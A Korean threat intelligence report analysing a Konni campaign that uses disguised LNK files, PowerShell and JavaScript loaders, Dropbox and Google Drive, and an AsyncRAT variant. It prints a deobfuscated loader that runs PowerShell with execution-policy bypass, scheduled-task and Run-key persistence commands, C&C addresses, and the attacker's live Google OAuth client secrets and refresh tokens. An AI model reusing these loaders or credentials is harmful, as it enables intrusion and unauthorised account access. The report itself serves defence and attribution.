위협 인텔리전스

Konni의 최신 AsyncRAT 공격: LNK 파일을 활용한 감염 기법

Konni의 최신 AsyncRAT 공격: LNK 파일을 활용한 감염 기법

엔키화이트햇

2025. 3. 12.

요약

  • 바이러스 토탈 헌팅 기능으로 공격자들이 초기 단계 악성코드로 많이 활용하는 LNK 파일을 확보하여 분석한 결과 일부 파일에서 북한 배후 해킹 그룹인 Konni와의 연관성을 확인했습니다.

  • 공격자는 C&C 서버뿐만 아니라 Dropbox, Google Drive를 악용하여 악성코드를 배포합니다.

  • 최종 실행되는 악성코드는 AsyncRAT로, 과거 Konni 그룹이 사용한 AsyncRAT는 C&C 서버 정보(ip, port)가 하드코딩되어 있지만, 이번에 확인된 AsyncRAT는 실행 인자로 ip와 port가 전달되는 방식으로 변경된 것을 확인했습니다.

  • 분석 과정에서 확인된 C&C 서버는 작년부터 공격 인프라로 활용된 정황이 포착됐습니다.

1. 개요

바이러스 토탈 헌팅 기능을 활용하여 수집된 LNK 파일을 분석하던 중, 일부 파일에서 북한 배후 해킹 그룹 Konni와의 연관성이 확인되었습니다. Konni는 Kimsuky와 유사한 전술을 사용하며, 여러 캠페인에서 Kimsuky와의 공통점이 다수 발견된 그룹입니다.

분석된 악성코드는 C&C 서버뿐만 아니라 정상 클라우드 서비스인 Dropbox와 Google Drive를 악용하여 추가 악성코드를 배포하며, 각 단계의 악성코드에 난독화가 적용되어 있는 것이 특징입니다. 특히 LNK 파일의 메타데이터와 바이러스 토탈에 업로드된 파일 이름을 활용하여 추가 악성코드를 확보할 수 있었으며, 이를 분석한 결과 또 다른 C&C 서버를 발견하였습니다.

추가로 발견된 C&C 서버는 지속적으로 모니터링해왔던 한국어로 작성된 피싱 메일 공격에 활용된 이력이 확인되었습니다. 이는 공격자의 활동을 추적하는 과정에서 기존에 감지된 위협과의 연관성을 더욱 명확히 하는 중요한 단서가 됩니다.

확보한 악성코드와 관련 인프라

caption - 확보한 악성코드와 관련 인프라

2. 악성코드 분석

2.1 개요도

개요도

caption - 개요도

2.2. 20250211_03837.dock.lnk

LNK 파일 실행 시 동작하는 명령어는 문자열을 분할하고 결합하는 방식으로 난독화되어 존재합니다. 명령어의 주요 행위는 LNK 파일에 포함된 파워쉘 스크립트를 %programdata%\d.ps1 파일로 저장하고 이를 실행합니다. “0” 데이터가 작성된 사용되지 않는 %programdata%\b21111 파일도 생성됩니다.

LECmd로 확인한 명령어 정보

caption - LECmd로 확인한 명령어 정보

2.3. d.ps1

파워쉘 스크립트는 LNK 파일의 끝부분에 위치하며, LNK 구조에 영향을 주지 않는 오프셋에 존재합니다. 파워쉘 스크립트의 변수 값은 base64로 인코딩되어 있으며, 문자열 슬라이싱을 이용한 난독화가 적용되어 있습니다.

난독화가 적용된 d.ps1

caption - 난독화가 적용된 d.ps1

스크립트 맨 밑 & $opemcb5 $km02; 이 부분이 핵심 행위로, $opemcb5 함수에 base64로 인코딩된 배열을 인자로 넣고 차례대로 디코딩한 후 Invoke-Expression을 통해 실행합니다. 가독성을 높인 $opemcb5 함수는 아래 그림에서 확인할 수 있습니다.

가독성을 높인 $opemcb5 함수

caption - 가독성을 높인 $opemcb5 함수

Invoke-Expression을 통해 실행되는 코드의 행위는 총 4가지이며, 순서는 다음과 같습니다.

  1. d.sp1 파일 삭제

  2. Dropbox에서 추가 악성코드 다운로드 및 실행

  3. Runspace Pool을 생성하여 비동기 방식으로 파워쉘 실행

  4. C&C 서버와 통신하여 추가 악성코드 다운로드 및 실행

Dropbox에서 다운받는 악성코드는 압축 파일에 포함되어 있으며 각각 자바스크립트와 파워쉘 스크립트로 작성된 악성코드입니다. 자바스크립트 악성코드는 작업 스케줄러와 자동 실행 레지스트리에 등록되어 지속적으로 실행되고 파워쉘 스크립트 악성코드는 Invoke-Expression을 통해 실행합니다.

  • 작업 스케줄러 정보

    • 이름: AGMicrosoftEdgeUpdateExpanding[7923498737]

    • 행위: 2분 간격으로 "wscript /e:javascript /b C:\ProgramData\83972.tmp" 명령어 실행

  • 자동 실행 레지스트리 정보

    • 레지스트리 경로: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GUpdate2

    • 실행 명령어: C:\Windows\System32\wscript.exe /b /e:javascript C:\ProgramData\83972.tmp

드롭박스 접속 및 지속성 확보 루틴

caption - 드롭박스 접속 및 지속성 확보 루틴

C&C 서버와의 통신 과정은 포트가 닫혀 있어 추가 분석이 불가하였지만, Dropbox에서 추가 악성코드를 다운받아 실행하는 방식과 매우 유사합니다. 이는 Dropbox와 C&C 서버를 병행하여 악성 행위를 수행하기 위한 것으로 보입니다. 먼저 206.206.127[.]152:7628에 접속하여 압축 파일을 다운받은 뒤 작업 스케줄러와 자동 실행 레지스트리를 등록합니다.

  • 작업 스케줄러 정보

    • 이름: AMicrosoftEdgeUpdateExpanding[3829710973]

    • 행위: 2분 간격으로 "wscript /e:javascript /b C:\ProgramData\38243.tmp" 명령어 실행

  • 자동 실행 레지스트리 정보

    • 레지스트리 경로: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SUpdate

    • 실행 명령어: C:\windows\system32\wscript.exe /b /e:javascript C:\ProgramData\N9371.js

 C&C 서버 접속 및 지속성 확보 루틴

caption - C&C 서버 접속 및 지속성 확보 루틴

이후 206.206.127[.]152:7032에 접속하여 추가 파일을 다운받아 파워쉘로 실행합니다.

파워쉘 스크립트 다운로드 및 실행 루틴

caption - 파워쉘 스크립트 다운로드 및 실행 루틴

2.4. 83972.tmp

Dropbox에서 다운받은 83972.tmp은 자바스크립트로 작성된 악성코드로 %ProgramData%\G3892.tmp 파일을 실행하는 행위를 수행합니다. 실행 명령어가 저장된 배열의 데이터는 난독화되어 있으며 [숫자]X[난독화된 데이터] 형식으로 존재합니다. 이 형식에서 앞의 숫자는 난독화 해제 여부를 확인하기 위한 값이며, X는 숫자와 난독화된 데이터를 구분하기 위한 값입니다. 난독화 해제 과정은 다음과 같습니다.

  1. 숫자와 “X”를 제외한 난독화된 데이터를 파싱합니다.

  2. 난독화된 데이터의 처음 2바이트를 뒤로 보냅니다.

    • ex) abcdef → cdefab

  3. 처음 1바이트와 마지막 1바이트를 교환합니다.

    • ex) cdefab → bdefac

  4. 다시 [숫자]X[난독화된 데이터] 형식으로 만듭니다.

  5. 배열의 마지막 요소를 첫 번째 요소로 옮깁니다.

이후 4번째, 9번째 요소에 존재하는 숫자를 곱한 후, 이를 5로 나눈 값을 두 번째 인자와 비교하여 난독화 해제가 완료되었는지 확인합니다.

난독화 해제 과정

caption - 난독화 해제 과정

난독화 해제가 완료되면 배열의 요소들을 결합한 뒤 eval로 실행합니다. eval로 실행되는 명령어는 다음과 같습니다.

 try {
    var function1 = new ActiveXObject("WScript.Shell");
    var winConf= "p"+"ower"+"shell -ep byp"+"ass -com" + "mand $fn='C:\\\\ProgramData\\\\G3892.tmp';$d = Get-C" +"ontent $fn; Inv" + "oke-Exp" +"ress" + "ion $d;";
    function1.Run(winConf, 0);
} catch (err) {}

2.5. G3892.tmp

G3892.tmp는 파워쉘 스크립트로 작성된 악성코드로, 이전 단계의 파워쉘 스크립트와 동일하게 변수 값은 base64로 인코딩되어 있으며, 문자열 슬라이싱을 이용한 난독화가 적용되어 있습니다. Invoke-Expression을 통해 코드를 실행하는 것도 동일합니다.

난독화가 적용된 G3892.tmp

caption - 난독화가 적용된 G3892.tmp

Invoke-Expression을 통해 실행되는 코드는 Google Drive API를 이용해 공격자의 Google Drive에 감염 로그를 생성하고 추가 악성코드를 다운받아 실행합니다. 먼저 OAuth 2.0 인증을 사용해 공격자의 Google Drive에 접근할 수 있는 액세스 토큰을 발급받으며, 이 과정에서 필요한 모든 정보는 하드코딩되어 있습니다.

액세스 토큰 발급 루틴

caption - 액세스 토큰 발급 루틴

감염 로그는 Google Drive에 [$objName]__[년_월_일_시_분_초]_Result_log.txt 이름의 파일로 업로드되며, 해당 파일에는 타임스탬프 정보가 작성되어 있습니다. 실제 공격자의 Google Drive에서 가져온 파일과 파일 내용은 아래 그림과 같습니다.

공격자 Google Drive에 존재하는 파일 목록

caption - 공격자 Google Drive에 존재하는 파일 목록

감염 로그가 업로드되면 공격자의 Google Drive에서 특정 파일을 검색하여 다운받아 실행합니다. 파일 검색 시 적용되는 조건은 다음과 같습니다.

  • 파일 이름에 $objName이 포함된 파일만 검색

  • 파일 이름과 내용에 "result" 문자열이 포함되지 않은 파일만 검색

  • 폴더는 제외

검색된 파일이 존재하면 해당 파일을 다운받은 후 Google Drive에서 삭제합니다. 다운받은 파일은 %ProgramData%\tmps4.ps1 로 저장되며 파워쉘을 통해 실행됩니다. 파일을 파워쉘로 실행하는 과정은 C&C 서버에서 다운받은 파일을 실행하는 과정과 동일합니다. 또한 추가 파일을 다운받은 후 Google Drive에서 삭제하는 방식은, 공격자가 감염 로그가 생성될 때 이를 감지하고 Polling 또는 Webhook과 같은 메커니즘을 활용하여 자동으로 추가 파일을 업로드하는 기능을 구현했을 가능성을 시사합니다.

악성코드 다운로드 및 실행 루틴

caption - 악성코드 다운로드 및 실행 루틴

2.6. tmps4.ps1

tmps4.ps1은 변수 값이 base64로 인코딩되어 있으며, 디코딩한 후 Invoke-Expression을 통해 코드를 실행합니다. 실행되는 코드는 Google Drive에서 파일을 다운받아 실행하는 행위를 수행합니다.

해당 코드에서 Mocndis 함수는 주어진 URL에서 파일을 다운받거나, 로컬 경로에서 파일을 읽어와 특정 처리를 수행한 후 메모리 영역에서 실행합니다.

 Mocndis 함수 Gzip 압축 해제 루틴

caption - Mocndis 함수 Gzip 압축 해제 루틴

파일을 실행하기 전에 다운받은 파일의 10번째 바이트를 0x1f로 수정한 뒤, Gzip 압축을 해제하고 메모리 영역에서 파일을 실행하여 start 메소드를 호출합니다. 실행 시 인자로 ip와 port가 지정됩니다.

Mocndis 함수 악성코드 실행 루틴 및 Mocndis 실행 인자

caption - Mocndis 함수 악성코드 실행 루틴 및 Mocndis 실행 인자

그러나 트위터에 LNK 파일에 대한 내용이 공유되고, 바이러스 토탈에 샘플이 처음 업로드된 지 3시간 후 Google Drive에 접속했을 때는 파일을 다운받을 수 없어 추가 분석이 불가했습니다. 하지만 다음 날 다시 접속하자 정상적으로 파일을 다운받을 수 있었습니다. 이는 공격자가 악성코드의 노출 여부를 모니터링하며, 보안 연구원들의 관심을 피하기 위해 일시적으로 파일을 제거하고 공격이 중단된 것처럼 위장했을 가능성이 높습니다.

Google Drive에서 다운받은 파일은 AsyncRAT 악성코드 변종입니다. Google Drive API를 이용해 확인한 파일의 정보는 다음과 같습니다.

{
  "name": "rt_10_dummy_0206.tmp",
  "mimeType": "application/octet-stream",
  "size": "11917",
  "createdTime": "2025-02-06T14:28:40.707Z",
  "owners": [
    {
      "kind": "drive#user",
      "displayName": "andreytony001",
      "emailAddress": "andreytony001@gmail.com",
      "permissionId": "17628116675428814843",
      "photoLink": "<https:

2.7. AsyncRAT

분석 결과 AsyncRAT는 GSC의 “코니(Konni) 위협 세계관의 확장 분석 리포트” 에 언급된 AsyncRAT와 기능이 동일한 것으로 확인되었습니다. 다만 기존 Konni가 사용한 AsyncRAT은 C&C 서버 정보(IP 및 포트)가 하드코딩되어 있었고, 이번에 확인된 AsyncRAT는 실행 시 인자로 ip와 port가 설정됩니다.

C&C 정보 파싱 루틴

caption - C&C 정보 파싱 루틴

오픈 소스로 공개된 AsyncRAT 소스코드를 참고한 결과 공격자는 메소드와 클래스 명을 임의로 변경하였습니다. test_ptk 클래스는 MsgPack 클래스와 동일한 구조이며 makebytearray 메소드는 Encode2Bytes 메소드랑 동일한 기능인 것을 확인하였습니다.

(좌) AsyncRAT 변종 test_pkt 클래스 (우) 오픈소스 AsyncRAT MsgPack 클래스

caption - (좌) AsyncRAT 변종 test_pkt 클래스 (우) 오픈소스 AsyncRAT MsgPack 클래스

(좌) AsyncRAT 변종 makebytearray 메소드 (우) 오픈소스 AsyncRAT Encode2Bytes 메소드

caption - (좌) AsyncRAT 변종 makebytearray 메소드 (우) 오픈소스 AsyncRAT Encode2Bytes 메소드

C&C 서버와 통신에 성공하면 MsgPack 형식으로 “Packet: ClientInfo “데이터를 직렬화한 뒤 압축하여 서버로 전송합니다. 이후 서버에서 수신한 데이터에 따라 수행하는 행위는 다음과 같습니다.

|명령코드|행위|
|---|---|
|pin|코드상 존재하나 아무 행위도 수행하지 않는다.|
|addin|수신한 데이터중 barray 값이 존재하면 Packet: giveme, barname: [barray ] 서버로 전송|
|saveaddin|수신한 데이터중 barray 값이 존재하면 barray 데이터를 Assembly.Load 메소드로 실행

caption - 명령코드에 따라 수행하는 행위

명령코드 루틴

caption - 명령코드 루틴

이 외에 확인된 행위는 없으며 명령코드 행위를 기반으로 판단하였을 때, C&C 서버와의 연결에 성공하면 이후 “addin” 명령코드를 수신하고 "Packet: giveme" 데이터를 지속적으로 서버에 전송하여 감염 사실을 알린 뒤 추가적인 악성 행위를 수행할 가능성이 매우 높습니다.

3. 추가 악성코드 확보 및 분석

3.1. Konni 연관성 분석


이번에 확인된 AsyncRAT는 GSC의 “코니(Konni) 위협 세계관의 확장 분석 리포트” 에 언급된 AsyncRAT와 구조가 동일하고, 해당 보고서에서 언급된 AsyncRAT의 C&C 서버는 다른 악성코드의 C&C 서버로도 활용된 이력이 있으며, 엔드포인트 및 파라미터 구조가 Konni의 명령 체계와 유사합니다.

 본 보고서에서 분석한 AsyncRAT

caption - 본 보고서에서 분석한 AsyncRAT

GSC 보고서에 언급된 AsyncRAT

caption - GSC 보고서에 언급된 AsyncRAT

과거 Konni가 사용한 AsynRAT C&C 서버(159.100.13[.]216) 는 securonix의 “Analysis and Detection of CLOUD#REVERSER” 보고서에서 처음 언급되었으며 해당 보고서에서 설명된 마지막 파워쉘 스크립트 동작 방식은 본 보고서에서 분석한 파워쉘 스크립트 동작 방식과 완벽히 일치합니다.

 본 보고서에서 분석학 tmps4.ps1

caption - 본 보고서에서 분석학 tmps4.ps1

securonix 보고서에서 언급된 파워쉘 스크립트

caption - securonix 보고서에서 언급된 파워쉘 스크립트

또한 GSC는 AsyncRAT 악성코드 C&C 서버로 사용된 159.100.13[.]216duplikyservjc[.]cloud 도메인과 연결된 흔적이 있으며, 해당 도메인이 Konni의 명령 체계와 유사하다고 밝혔습니다. duplikyservjc[.]cloud 도메인에서 확인된 명령 체계는 다음과 같습니다.

  • duplikyservjc[.]cloud/dn.php?name=[%computer name%]&prefix=tt

실제로 dn.php?name=[%computer name%] 패턴은 여러 보고서에서 언급된 바 있으며 추가 악성코드를 다운받는데 사용됩니다.

duplikyservjc[.]cloud를 C&C 서버로 사용하는 악성코드를 분석한 결과 dn.php 엔드포인트가 기존과 동일하게 추가 악성코드 다운로드에 활용된 것을 확인하였습니다. 관련 샘플의 바이러스 토탈 링크는 다음과 같습니다.

 duplikyservjc[.]cloud/dn.php?name=[%computer name%]&prefix=tt 통신 루틴

caption - duplikyservjc[.]cloud/dn.php?name=[%computer name%]&prefix=tt 통신 루틴

본 보고서에서 언급된 C&C 서버 206.206.127[.]152는 다른 공격에 활용된 흔적이 확인되지 않았으며, 현재까지는 LNK 파일을 이용한 AsyncRAT 악성코드 유포 공격에 사용된 것으로 확인됩니다. 추가로 AsyncRAT에서 확인된 PDB 정보는 다음과 같습니다.

  • E:\_Backup\RAT_work\AsyncRat_0930\rat_Client\rat_pro\obj\Debug\Lv_0206.pdb

3.2. LNK 메타데이터를 이용한 추가 악성코드 확보

LNK 파일에는 DriveSeriaNumber, MachineID, MAc address 등 다양한 메타데이터가 포함되어있습니다. 일반적으로 공격자는 이러한 정보를 삭제하여 연관 분석을 어렵게 만들지만, 본 보고서에서 분석한 LNK 파일에는 메타데이터가 그대로 남아 있었습니다.

| File Name | SHA256 | Drive Serial Number | Machine ID | MAC Address |
| --- | --- | --- | --- | --- |
| 20250211_03837.docx.lnk | 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1

caption - 본 보고서에서 분석한 LNK 파일 메타데이터

이외에도 LINKTARGET_IDLIST에 실행 대상 파일에 대한 정보가 포함되며, LNK 파일을 생성한 시스템의 MFT Record Number와 Sequence Number 정보도 존재합니다. LEcmd로 이를 확인할 수 있습니다.

LECmd로 확인 가능한 MFT Record Number, Sequence Number  정보

caption - LECmd로 확인 가능한 MFT Record Number, Sequence Number 정보

LNK 파일 메타데이터와 바이러스 토탈에 업로드된 파일 이름 패턴을 활용하여 추가로 10개의 악성코드를 확보할 수 있었습니다. 본 보고서에서 분석한 LNK 파일이 포함된 표는 아래와 같습니다.

| File Name | SHA256 | Drive Serial Number | Machine ID | MAC Address | VT 업로드 날짜 |
| --- | --- | --- | --- | --- | --- |
| 20240625_47531.docx.lnk | 9c9df2d90602c915005811aabf444653f55024080c61845029f75da758b27320 | 0FDA-1026 | N/A | N/A | UNITED STATES-2024-06-25 09:19:55 UTC |
| 20240930_84382.docx.lnk | f3aee5924279dd1883efbb04c89166368e954b7e81483507dc032561bb2cf6e1 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES-n2024-10-04 07:55:49 UTC |
| 20241003_20134.docx.lnk | aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d4b385ad | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES-n2024-10-03 06:09:15 UTC |
| 20241007_46790.docx.lnk | ba52ab256079f80fdf9c47bf5fc215fed99ed1659c976ca692f4493e08e4b301 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES-n2024-10-26 08:55:11 UTC |
| 20241011_64246.docx.lnk | dfeec1052063d6dc69cc6d23ca0cd262cd06899554f5ebd528d5d72935204bf2 | AEC1-8832 | ?ڼ??? | 24:f5:aa:e4:c0:c8 | UNITED STATES-n2024-10-11 10:54:44 UTC |
| 20241013_24569.docx.lnk | 11ac6151182db3b41f9022b4e4b8a388e982f7fece3a34596bd84c11ec2a4ebd | D8F2-338C | cy-p1 | d0:50:99:91:cd:56 | UNITED STATES-n2024-10-16 00:28:06 UTC |
| 20241015_56801.docx.lnk | 52b8e4da732d06000e29d7609668021be8cc99fccd9fb4a04f93f1c25d11bdd6 | CE8E-6630 | ??Ȱ?4 | a8:a1:59:a9:7b:fe | UNITED STATES-n2024-10-15 13:12:30 UTC |
| 20250114_27263.docx.lnk | f4c4f68f8b27279b00b718b02392d5dfe1766c342a189a51e0e2a6f6412e1ce0 | 9038-4211 | desktop-0jpcpit | e0:d5:5e:8b:fb:d6 | KOREA, REPUBLIC OF-n2025-01-14 05:16:33 UTC |
| 20250201_388165727.eml.lnk | 11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | KOREA, REPUBLIC OF-n2025-02-04 11:06:09 UTC |
| 20250206_68013.docx.lnk | e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | KOREA, REPUBLIC OF-n2025-02-06 03:34:02 UTC |
| 20250211_03837.docx.lnk | 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES-n2025-02-11 05:17:02

caption - 추가로 확보한 악성코드 LNK 파일 메타데이터

3.3. 확보한 악성코드 분석을 통한 C&C 인프라 연관성 확인

추가로 확보한 악성코드 분석 결과, 하나의 메타데이터가 동일한 악성코드들은 다른 메타데이터 모두 동일한 것으로 확인되었습니다. 이는 동일한 환경에서 악성코드가 제작되었을 가능성을 시사합니다. 또한 본 보고서에서 분석한 최종 악성코드인 AsyncRAT가 통신하는 C&C 서버 주소를 다른 악성코드에서 확인할 수 있었습니다. 아래 표에 나온 악성코드 모두 실행 시 동일한 C&C 서버에서 압축 파일을 다운받아 압축을 해제한 뒤 vbs 파일을 실행합니다. 이러한 정보를 통해 206.206.127[.]152는 작년부터 공격 인프라로 활용된 것을 알 수 있었습니다.

| File Name | C&C 정보 | Drive Serial Number | Machine ID | MAC Address | VT 업로드 날짜 |
| --- | --- | --- | --- | --- | --- |
| 20240930_84382.docx.lnk | 206.206.127.152:9027 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES 2024-10-04 07:55:49 UTC |
| 20241003_20134.docx.lnk | 206.206.127.152:9002 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES 2024-10-03 06:09:15 UTC |
| 20241007_46790.docx.lnk | 206.206.127.152:6105 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES 2024-10-26 08:55:11 UTC |
| 20241011_64246.docx.lnk | 206.206.127.152:6105 | AEC1-8832 | ?ڼ??? | 24:f5:aa:e4:c0:c8 | UNITED STATES 2024-10-11 10:54:44 UTC |
| 20241013_24569.docx.lnk | 206.206.127.152:6105 | D8F2-338C | cy-p1 | d0:50:99:91:cd:56 | UNITED STATES 2024-10-16 00:28:06 UTC |
| 20241015_56801.docx.lnk | 206.206.127.152:6105 | CE8E-6630 | ??Ȱ?4 | a8:a1:59:a9:7b:fe | UNITED STATES 2024-10-15 13:12:30

caption - C&C 주소가 206.206.127[.]152인 악성코드

추가로 안랩의 “2024년 12월 APT 공격 동향 보고서(국내)” IOC 목록에 206.206.127.152가 포함된 것을 확인하였습니다. 이는 외부에 공개되지 않고, 자사에서 확보한 악성코드에서 확인된 C&C 정보로 보이며 206.206.127[.]152를 C&C 서버로 사용하는 악성코드가 국내를 대상으로 한 공격에서 활용되었음을 시사합니다.

20240625_47531.docx.lnk를 제외한 파일 이름이 2024로 시작하는 악성코드와 2025로 시작하는 악성코드는 수행하는 행위는 상이합니다.

  • 2024로 시작하는 악성코드: C&C 서버에서 압축 파일 다운

  • 2025로 시작하는 악성코드: Dropbox, C&C 서버에서 압축 파일 다운

파일 이름이 2025로 시작하는 악성코드 4개중 3개는 동일한 Google Drive, C&C 서버를 사용한 것으로 확인되었습니다. Google Drive의 경우 Refresh Token은 다르지만 Folder ID, Client ID, Client Secret은 동일합니다.

특히 20250114_27263.docx.lnk 파일의 Machine ID는 나머지 파일들과 다르지만, 20250201_388165727.eml.lnk, 20250206_68013.docx.lnk 파일과 동일한 Google Drive를 사용합니다. 이는 다른 환경에서 제작되었지만 동일한 공격자 소행으로 판단할 수 있는 중요한 근거가 됩니다.

| File Name | C&C 정보 | Folder ID | Client ID | Client Secret | **Refresh Token** | Machine ID |
| --- | --- | --- | --- | --- | --- | --- |
| 20250114_27263.docx.lnk | 74.50.94.175:9992, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//04r_Q1WhCjQ9aCgYIARAAGAQSNwF-L9Irt8Rgo1as6a_F1gD0JH-V5VCovSku-yer1vwFXGcWq8bErAWYFKkkkkjUhI58-cn79rM | desktop-0jpcpit |
| 20250201_388165727.eml.lnk | 74.50.94.175:9992, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//044WDlKPow2FhCgYIARAAGAQSNwF-L9Ire9ty5B9W44OePSnJvxYiSRreGei6meNwxj1nbHVo_9xgcu-H29aUaGOnHMFRmjLdaJ8 | jooyoung |
| 20250206_68013.docx.lnk | 74.50.94.175:7628, 7032 | 1m3Z22KdkwaiW8VTeeGbARdCcfCmoBRCy | 71532697854-ef1nlsl4cjn4scm57dsf1685leiunavu.apps.googleusercontent.com | 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 | 1//04KuY2ATM46hWCgYIARAAGAQSNwF-L9Ir3AZ6eza1k7mQoZktX2Z-sWkE3Tj08VOb-u6A9TAK2NKwN9RLXxUKUvxPCPJ_o623vd4 | jooyoung |
| 20250211_03837.docx.lnk | 206.206.127.152:7628, 7032 | 1lvY-PLtOkcA8clrQABWUWUMhRkgAsMsa | 159263970130-1gil63rpicrhtbo4he4qvnfiks351oc4.apps.googleusercontent.com | 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 | 1//04LW2ZAjvny5rCgYIARAAGAQSNwF-L9IrePyqSf2RbRaJcMnPLBxkYAxBe67stBSonT80fVgGWuVPkZQfDs9UdyaLdYoZRf127CA | jooyoung |

caption - 악성코드에서 추출한 Google Drive API 정보

3.4. C&C 서버와 연관된 피싱 메일

추가로 C&C 서버 74.50.94[.]175가 과거 피싱 메일에 활용된 이력이 존재합니다. 대한민국 행정 정보 관련 서비스인 국민비서와 행정안전부를 사칭한 피싱 메일로, 본문 내 링크가 연결된 버튼이 포함되어 있습니다. 해당 버튼을 누를 시 피싱 사이트로 이동하며 개인 정보 입력을 유도합니다.

 메일 본문

caption - 메일 본문

두 개의 피싱 메일에는 발신 서버 정보를 포함하는 X-PHP-Script 헤더가 존재하는데, 이는 공격자가 PHPMailer를 사용하여 메일을 보낸 것으로 판단할 수 있는 근거입니다. PHPMailer는 북한 공격 그룹에서 피싱 메일을 전송할 때 자주 활용하는 도구입니다.

| 발신일 | 발신자 | X-PHP-Script | 본문 링크 |
| --- | --- | --- | --- |
| 202483 | 전자문서, help@taylorswift.store | weakandstrong.com/wp-sendall.php for 74.50.94.175 | hxxps://olsiop.shop/page?m=verify&token=cW9yd2tyZGlyMTIzQG5hdmVyLmNvbQ==&last=security |
| 20241022 | 알림, help.ph-444.site | diagandcall.com/wp-sendqq.php for 74.50.94.175, 74.50.94.175 | hxxps://RRGrg3yur78ewgewFf@acieodls.shop/page/?m=verify&token=dXNvdXBwQG5hdmVyLmNvbQ==&last=security |

caption - 각 메일에서 확인된 정보

피싱 사이트 도메인인 olsiop[.]shopacieodls[.]shop74.50.94[.]47 ip 주소와 연결된 흔적이 확인되었으며, X-PHP-Script 헤더에 존재하는 74.50.94[.]175와 동일한 대역대의 ip 주소입니다. 따라서 공격자는 동일한 대역대에 속해있는 두 개의 ip 주소를 공격에 활용한 것을 알 수 있습니다.

 바이러스 토탈로 확인한 DNS records 정보

caption - 바이러스 토탈로 확인한 DNS records 정보

3.5. 추가 악성코드 유포 정황

본 보고서에서 분석한 악성코드의 감염 로그는 uuu__[년_월_일_시_분_초]_Result_log.txt 형식이었으나, Google Drive에서 sss__[년_월_일_시_분_초]_Result_log.txt 파일이 추가로 확인되었습니다. 이는 공격자가 다른 악성코드를 유포하고 있을 가능성을 시사합니다.


실제로 20250114_27263.docx.lnk 악성코드에서 생성된 감염 로그는 ttt__[년_월_일_시_분_초]_Result_log.txt 형식으로 확인되었습니다. 이는 공격자가 다른 악성코드를 유포하고 있을 가능성을 뒷받침하는 근거가 됩니다.

20250114_27263.docx.lnk 악성코드 분석 과정에서 확인된 정보

caption - 20250114_27263.docx.lnk 악성코드 분석 과정에서 확인된 정보

금주 3월 10일에 동일한 유형의 악성코드를 추가로 확보할 수 있었고, 해당 악성코드에서 확인된 드롭박스 파일 정보와 지난 2월 18일에 다른 악성코드에서 확인한 드롭박스 파일 정보에서 유사점을 발견했습니다. 파일 이름, 업로드한 사람 정보가 동일하고 파일 크기가 유사합니다.

  • 2월 18일 분석 악성코드 - aacb5aca178f6444a82bca1febb282a2859c5a43208ad1cdd39977dc3521f0f6

  • 3월 10일 분석 악성코드 - 811d221a1340e64aa1736d9d4e8f80820a5a02fab3d0c9e454f3ed35cd717b81

 (좌) 2월 18일 확인한 정보 (우) 3월 10일에 확인한 정보

caption - (좌) 2월 18일 확인한 정보 (우) 3월 10일에 확인한 정보

분석 과정에서 Google Drive API 정보를 추가로 확인할 수 있었고, 감염 로그 형식 수행하는 행위가 모두 동일합니다. 이를 통해 공격자가 지속적으로 동일한 공격을 수행하고 있는 것을 알 수 있습니다. 그러나 감염 로그를 업로드하고 다음 악성코드를 확보할 수 없었습니다. 이는 감염 로그를 감지하고 Polling 또는 Webhook과 같은 메커니즘이 중지된 것으로 추정됩니다.

 액세스 토큰 발급 루틴

caption - 액세스 토큰 발급 루틴

2월 18일에 분석한 악성코드에는 Dropbox API 정보가 존재하고, 3월 10일에 분석한 악성코드에는 Google Drive API 정보가 존재합니다. 이를 통해 확인한 공격자 이메일 주소에서 숫자는 다르지만 동일한 문자열이 포함된 것을 알 수 있습니다.

  • Dropbox API result

    
    
  • Google Drive API result

    
    

추가로 드롭박스에서 추가 악성코드를 받아 지속성을 확보하는 파워쉘 스크립트는 바이러스 토탈에서 정상으로 탐지됩니다.

정상으로 탐지되는 악성 파워쉘 스크립트

caption - 정상으로 탐지되는 악성 파워쉘 스크립트

4. 대응 방안

4.1. 파일 유형 확인

공격자들은 LNK 파일을 [File name].docx.lnk, [File name].eml.lnk, [File name].pdf.lnk 등 문서 확장자가 포함된 형식으로 이름을 설정하고, 해당 문서 아이콘을 적용하여 정상적인 문서 파일처럼 위장합니다. LNK 파일은 기본적으로 확장자가 보이지 않아 파일을 실행하기 전에 파일 유형을 확인하여 “바로 가기” 파일이면 실행하지 않는 것이 중요합니다.

파일 유형 확인

caption - 파일 유형 확인

4.2. 출처가 불명확한 이메일 주의

본 보고서에서 언급되지 않았지만, LNK 파일을 활용한 공격 대다수가 피싱 메일을 통해 이루어집니다. 따라서 보안 대응을 위해 다음과 같은 조치를 권장합니다.

  • 출처가 불명확한 이메일의 첨부파일은 실행하지 않고, 이메일에 포함된 링크는 누르지 않습니다.

  • 발신자가 신뢰할 수 있는 기관인지 확인하고, 이메일 주소가 정상인지 확인합니다.

  • 악성코드로 의심되는 첨부 파일은 백신 검사 또는 바이러스 토탈에 업로드하여 악성인지 확인합니다. 압축 비밀번호가 적용된 경우 압축을 해제한 뒤 나온 파일을 업로드합니다.

5. 마치며

